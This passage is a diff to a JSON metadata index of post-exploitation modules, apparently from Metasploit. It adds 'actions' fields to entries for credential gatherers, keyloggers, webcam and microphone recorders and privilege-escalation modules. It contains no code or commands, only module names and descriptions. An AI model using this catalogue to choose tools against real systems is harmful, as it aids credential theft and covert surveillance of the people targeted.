"name": "Jboss Credential Collector", @@ -239913,7 +247342,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/jenkins_gather": { "name": "Jenkins Credential Collector", @@ -239950,7 +247382,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/lastpass_creds": { "name": "LastPass Vault Decryptor", @@ -239989,7 +247424,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/maven_creds": { "name": "Multi Gather Maven Credentials Collection", @@ -240026,7 +247464,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/minio_client": { "name": "Gather MinIO Client Key", @@ -240073,7 +247514,10 @@ "powershell", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/multi_command": { "name": "Multi Gather Run Shell Command Resource File", @@ -240109,7 +247553,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/netrc_creds": { "name": "UNIX Gather .netrc Credentials", @@ -240145,7 +247592,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/pgpass_creds": { "name": "Multi Gather pgpass Credentials", @@ -240182,7 +247632,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/pidgin_cred": { "name": "Multi Gather Pidgin Instant Messenger Credential Collection", @@ -240220,7 +247673,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/ping_sweep": { "name": "Multi Gather Ping Sweep", @@ -240257,7 +247713,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/remmina_creds": { "name": "UNIX Gather Remmina Credentials", @@ -240294,7 +247753,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/resolve_hosts": { "name": "Multi Gather Resolve Hosts", @@ -240330,7 +247792,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/rsyncd_creds": { "name": "UNIX Gather RSYNC Credentials", @@ -240366,7 +247831,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/rubygems_api_key": { "name": "Multi Gather RubyGems API Key", @@ -240403,7 +247871,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/run_console_rc_file": { "name": "Multi Gather Run Console Resource File", @@ -240439,7 +247910,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/saltstack_salt": { "name": "SaltStack Salt Information Gatherer", @@ -240486,7 +247960,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/skype_enum": { "name": "Multi Gather Skype User Data Enumeration", @@ -240523,7 +248000,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/ssh_creds": { "name": "Multi Gather OpenSSH PKI Credentials Collection", @@ -240560,7 +248040,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/thunderbird_creds": { "name": "Multi Gather Mozilla Thunderbird Signon Credential Collection", @@ -240597,7 +248080,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/tomcat_gather": { "name": "Gather Tomcat Credentials", @@ -240633,7 +248119,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/ubiquiti_unifi_backup": { "name": "Multi Gather Ubiquiti UniFi Controller Backup", @@ -240674,7 +248163,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/unix_cached_ad_hashes": { "name": "UNIX Gather Cached AD Hashes", @@ -240720,7 +248212,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/unix_kerberos_tickets": { "name": "UNIX Gather Kerberos Tickets", @@ -240766,7 +248261,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/wlan_geolocate": { "name": "Multiplatform WLAN Enumeration and Geolocation", @@ -240803,7 +248301,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/wowza_streaming_engine_creds": { "name": "Gather Wowza Streaming Engine Credentials", @@ -240851,7 +248352,10 @@ "powershell", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/general/close": { "name": "Multi Generic Operating System Session Close", @@ -240888,7 +248392,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/general/execute": { "name": "Multi Generic Operating System Session Command Execution", @@ -240925,7 +248432,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/general/wall": { "name": "Write Messages to Users", @@ -240962,7 +248472,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/manage/autoroute": { "name": "Multi Manage Network Route via Meterpreter Session", @@ -240999,7 +248512,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/manage/dbvis_add_db_admin": { "name": "Multi Manage DbVisualizer Add Db Admin", @@ -241035,7 +248551,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/manage/dbvis_query": { "name": "Multi Manage DbVisualizer Query", @@ -241071,7 +248590,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/manage/fileshare": { "name": "Browse the session filesystem in a Web Browser", @@ -241118,7 +248640,10 @@ "shell", "powershell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/manage/hsts_eraser": { "name": "Web browsers HSTS entries eraser", @@ -241156,7 +248681,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/manage/multi_post": { "name": "Multi Manage Post Module Macro Execution", @@ -241193,7 +248721,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/manage/open": { "name": "Open a file or URL on the target computer", @@ -241230,7 +248761,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/manage/play_youtube": { "name": "Multi Manage YouTube Broadcast", @@ -241272,7 +248806,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/manage/record_mic": { "name": "Multi Manage Record Microphone", @@ -241308,7 +248845,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/manage/screensaver": { "name": "Multi Manage the screensaver of the target computer", @@ -241345,7 +248885,21 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "LOCK", + "description": "Lock the current session" + }, + { + "name": "START", + "description": "Start the screensaver, may lock the current session" + }, + { + "name": "STOP", + "description": "Stop the screensaver, user may be prompted for its password" + } + ] }, "post_multi/manage/screenshare": { "name": "Multi Manage the screen of the target meterpreter session", @@ -241390,7 +248944,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/manage/set_wallpaper": { "name": "Multi Manage Set Wallpaper", @@ -241426,7 +248983,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/manage/shell_to_meterpreter": { "name": "Shell to Meterpreter Upgrade", @@ -241463,7 +249023,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/manage/sudo": { "name": "Multiple Linux / Unix Post Sudo Upgrade Shell", @@ -241500,7 +249063,10 @@ "session_types": [ "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "post_multi/manage/system_session": { "name": "Multi Manage System Remote TCP Shell Session", @@ -241537,7 +249103,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/manage/upload_exec": { "name": "Upload and Execute", @@ -241574,7 +249143,10 @@ "meterpreter", "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "post_multi/manage/zip": { "name": "Multi Manage File Compressor", @@ -241611,7 +249183,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/recon/local_exploit_suggester": { "name": "Multi Recon Local Exploit Suggester", @@ -241649,7 +249224,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/recon/multiport_egress_traffic": { "name": "Generate TCP/UDP Outbound Traffic On Multiple Ports", @@ -241685,7 +249263,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/recon/reverse_lookup": { "name": "Reverse Lookup IP Addresses", @@ -241733,7 +249314,10 @@ "powershell", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/recon/sudo_commands": { "name": "Sudo Commands", @@ -241770,7 +249354,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/sap/smdagent_get_properties": { "name": "Diagnostics Agent in Solution Manager, stores unencrypted credentials for Solution Manager server", @@ -241818,7 +249405,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_networking/gather/enum_brocade": { "name": "Brocade Gather Device General Information", @@ -241854,7 +249444,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_networking/gather/enum_cisco": { "name": "Cisco Gather Device General Information", @@ -241899,7 +249492,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_networking/gather/enum_f5": { "name": "F5 Gather Device General Information", @@ -241944,7 +249540,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_networking/gather/enum_juniper": { "name": "Juniper Gather Device General Information", @@ -241980,7 +249579,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_networking/gather/enum_mikrotik": { "name": "Mikrotik Gather Device General Information", @@ -242025,7 +249627,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_networking/gather/enum_vyos": { "name": "VyOS Gather Device General Information", @@ -242070,7 +249675,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_osx/admin/say": { "name": "OS X Text to Speech Utility", @@ -242107,7 +249715,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_osx/capture/keylog_recorder": { "name": "OSX Capture Userspace Keylogger", @@ -242144,7 +249755,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_osx/capture/screen": { "name": "OSX Screen Capture", @@ -242181,7 +249795,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_osx/escalate/tccbypass": { "name": "Bypass the macOS TCC Framework", @@ -242232,7 +249849,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_osx/gather/apfs_encrypted_volume_passwd": { "name": "Mac OS X APFS Encrypted Volume Password Disclosure", @@ -242271,7 +249891,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_osx/gather/autologin_password": { "name": "OSX Gather Autologin Password as Root", @@ -242308,7 +249931,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_osx/gather/enum_adium": { "name": "OS X Gather Adium Enumeration", @@ -242345,7 +249971,21 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "ACCOUNTS", + "description": "Collect account-related plists" + }, + { + "name": "ALL", + "description": "Collect both account plists and chat logs" + }, + { + "name": "CHATS", + "description": "Collect chat logs with a pattern" + } + ] }, "post_osx/gather/enum_airport": { "name": "OS X Gather Airport Wireless Preferences", @@ -242382,7 +250022,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_osx/gather/enum_chicken_vnc_profile": { "name": "OS X Gather Chicken of the VNC Profile", @@ -242419,7 +250062,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_osx/gather/enum_colloquy": { "name": "OS X Gather Colloquy Enumeration", @@ -242456,7 +250102,21 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "ACCOUNTS", + "description": "Collect the preferences plists" + }, + { + "name": "ALL", + "description": "Collect both the plists and chat logs" + }, + { + "name": "CHATS", + "description": "Collect chat logs with a pattern" + } + ] }, "post_osx/gather/enum_keychain": { "name": "OS X Gather Keychain Enumeration", @@ -242494,7 +250154,10 @@ "meterpreter", "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "post_osx/gather/enum_messages": { "name": "OS X Gather Messages", @@ -242531,7 +250194,25 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "ALL", + "description": "Collect all Messages data" + }, + { + "name": "DBFILE", + "description": "Collect Messages DB file" + }, + { + "name": "LATEST", + "description": "Collect the latest message" + }, + { + "name": "READABLE", + "description": "Collect Messages DB and download in a readable format" + } + ] }, "post_osx/gather/enum_osx": { "name": "OS X Gather Mac OS X System Information Enumeration", @@ -242568,7 +250249,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_osx/gather/gitignore": { "name": "Git Ignore Retriever", @@ -242614,7 +250298,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_osx/gather/hashdump": { "name": "OS X Gather Mac OS X Password Hash Collector", @@ -242653,7 +250340,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_osx/gather/password_prompt_spoof": { "name": "OSX Password Prompt Spoof", @@ -242692,7 +250382,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_osx/gather/safari_lastsession": { "name": "OSX Gather Safari LastSession.plist", @@ -242729,7 +250422,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_osx/gather/vnc_password_osx": { "name": "OS X Display Apple VNC Password", @@ -242766,7 +250462,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_osx/manage/mount_share": { "name": "OSX Network Share Mounter", @@ -242804,7 +250503,21 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "LIST", + "description": "Show a list of stored network share credentials" + }, + { + "name": "MOUNT", + "description": "Mount a network shared volume using stored credentials" + }, + { + "name": "UMOUNT", + "description": "Unmount a mounted volume" + } + ] }, "post_osx/manage/record_mic": { "name": "OSX Manage Record Microphone", @@ -242840,7 +250553,17 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "LIST", + "description": "Show a list of microphones" + }, + { + "name": "RECORD", + "description": "Record from a selected audio input" + } + ] }, "post_osx/manage/sonic_pi": { "name": "OS X Manage Sonic Pi", @@ -242884,7 +250607,17 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "Run", + "description": "Run Sonic Pi code" + }, + { + "name": "Stop", + "description": "Stop all jobs" + } + ] }, "post_osx/manage/vpn": { "name": "OSX VPN Manager", @@ -242921,7 +250654,21 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "CONNECT", + "description": "Connect to a VPN using stored credentials" + }, + { + "name": "DISCONNECT", + "description": "Disconnect from a VPN" + }, + { + "name": "LIST", + "description": "Show a list of VPN connections" + } + ] }, "post_osx/manage/webcam": { "name": "OSX Manage Webcam", @@ -242957,7 +250704,21 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "LIST", + "description": "Show a list of webcams" + }, + { + "name": "RECORD", + "description": "Record with the webcam" + }, + { + "name": "SNAPSHOT", + "description": "Take a snapshot with the webcam" + } + ] }, "post_solaris/escalate/pfexec": { "name": "Solaris pfexec Upgrade Shell", @@ -242995,7 +250756,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_solaris/escalate/srsexec_readline": { "name": "Solaris srsexec Arbitrary File Reader", @@ -243037,7 +250801,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_solaris/gather/checkvm": { "name": "Solaris Gather Virtual Environment Detection", @@ -243073,7 +250840,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_solaris/gather/enum_packages": { "name": "Solaris Gather Installed Packages", @@ -243109,7 +250879,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_solaris/gather/enum_services": { "name": "Solaris Gather Configured Services", @@ -243145,7 +250918,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_solaris/gather/hashdump": { "name": "Solaris Gather Dump Password Hashes for Solaris Systems", @@ -243181,7 +250957,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/capture/keylog_recorder": { "name": "Windows Capture Keystroke Recorder", @@ -243218,7 +250997,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/capture/lockout_keylogger": { "name": "Windows Capture Winlogon Lockout Credential Keylogger", @@ -243255,7 +251037,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/escalate/droplnk": { "name": "Windows Escalate SMB Icon LNK Dropper", @@ -243291,7 +251076,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/escalate/getsystem": { "name": "Windows Escalation", @@ -243335,7 +251123,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/escalate/golden_ticket": { "name": "Windows Escalate Golden Ticket", @@ -243371,7 +251162,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/escalate/ms10_073_kbdlayout": { "name": "Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation", @@ -243412,7 +251206,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/escalate/screen_unlock": { "name": "Windows Escalate Locked Desktop Unlocker", @@ -243449,7 +251246,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/escalate/unmarshal_cmd_exec": { "name": "Windows unmarshal post exploitation", @@ -243491,7 +251291,10 @@ "session_types": [ ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/ad_to_sqlite": { "name": "AD Computer, Group and Recursive User Membership to Local SQLite DB", @@ -243527,7 +251330,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/arp_scanner": { "name": "Windows Gather ARP Scanner", @@ -243563,7 +251369,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/avast_memory_dump": { "name": "Avast AV Memory Dumping Utility", @@ -243609,7 +251418,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/bitcoin_jacker": { "name": "Windows Gather Bitcoin Wallet", @@ -243646,7 +251458,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/bitlocker_fvek": { "name": "Bitlocker Master Key (FVEK) Extraction", @@ -243683,7 +251498,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/bloodhound": { "name": "BloodHound Ingestor", @@ -243732,7 +251550,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/cachedump": { "name": "Windows Gather Credential Cache Dump", @@ -243769,7 +251590,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/checkvm": { "name": "Windows Gather Virtual Environment Detection", @@ -243796,7 +251620,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-08-11 14:42:51 +0000", + "mod_time": "2023-11-03 11:18:55 +0000", "path": "/modules/post/windows/gather/checkvm.rb", "is_install_path": true, "ref_name": "windows/gather/checkvm", @@ -243819,7 +251643,10 @@ "powershell", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/aim": { "name": "Aim credential gatherer", @@ -243867,7 +251694,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/avira_password": { "name": "Windows Gather Avira Password Extraction", @@ -243903,7 +251733,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/bulletproof_ftp": { "name": "Windows Gather BulletProof FTP Client Saved Password Extraction", @@ -243939,7 +251772,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/chrome": { "name": "Chrome credential gatherer", @@ -243987,7 +251823,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/comodo": { "name": "Comodo credential gatherer", @@ -244035,7 +251874,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/coolnovo": { "name": "Coolnovo credential gatherer", @@ -244083,7 +251925,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/coreftp": { "name": "Windows Gather CoreFTP Saved Password Extraction", @@ -244119,7 +251964,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/credential_collector": { "name": "Windows Gather Credential Collector", @@ -244155,7 +252003,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/digsby": { "name": "Digsby credential gatherer", @@ -244203,7 +252054,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/domain_hashdump": { "name": "Windows Domain Controller Hashdump", @@ -244239,7 +252093,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/dynazip_log": { "name": "Windows Gather DynaZIP Saved Password Extraction", @@ -244279,7 +252136,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/dyndns": { "name": "Windows Gather DynDNS Client Password Extractor", @@ -244316,7 +252176,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/enum_cred_store": { "name": "Windows Gather Credential Store Enumeration and Decryption Module", @@ -244352,7 +252215,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/enum_laps": { "name": "Windows Gather Credentials Local Administrator Password Solution", @@ -244388,7 +252254,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/enum_picasa_pwds": { "name": "Windows Gather Google Picasa Password Extractor", @@ -244425,7 +252294,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/epo_sql": { "name": "Windows Gather McAfee ePO 4.6 Config SQL Credentials", @@ -244461,7 +252333,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/filezilla_server": { "name": "Windows Gather FileZilla FTP Server Credential Collection", @@ -244498,7 +252373,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/flashfxp": { "name": "Windows Gather FlashFXP Saved Password Extraction", @@ -244534,7 +252412,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/flock": { "name": "Flock credential gatherer", @@ -244582,7 +252463,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/ftpnavigator": { "name": "Windows Gather FTP Navigator Saved Password Extraction", @@ -244618,7 +252502,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/ftpx": { "name": "Windows Gather FTP Explorer (FTPX) Credential Extraction", @@ -244654,7 +252541,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/gadugadu": { "name": "Gadugadu credential gatherer", @@ -244702,7 +252592,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/gpp": { "name": "Windows Gather Group Policy Preference Saved Passwords", @@ -244746,7 +252639,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/heidisql": { "name": "Windows Gather HeidiSQL Saved Password Extraction", @@ -244782,7 +252678,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/icq": { "name": "ICQ credential gatherer", @@ -244830,7 +252729,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/idm": { "name": "Windows Gather Internet Download Manager (IDM) Password Extractor", @@ -244867,7 +252769,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/ie": { "name": "Ie credential gatherer", @@ -244915,7 +252820,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/imail": { "name": "Windows Gather IPSwitch iMail User Data Enumeration", @@ -244951,7 +252859,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/imvu": { "name": "Windows Gather Credentials IMVU Game Client", @@ -244987,7 +252898,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/incredimail": { "name": "Incredimail credential gatherer", @@ -245035,7 +252949,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/kakaotalk": { "name": "KakaoTalk credential gatherer", @@ -245083,7 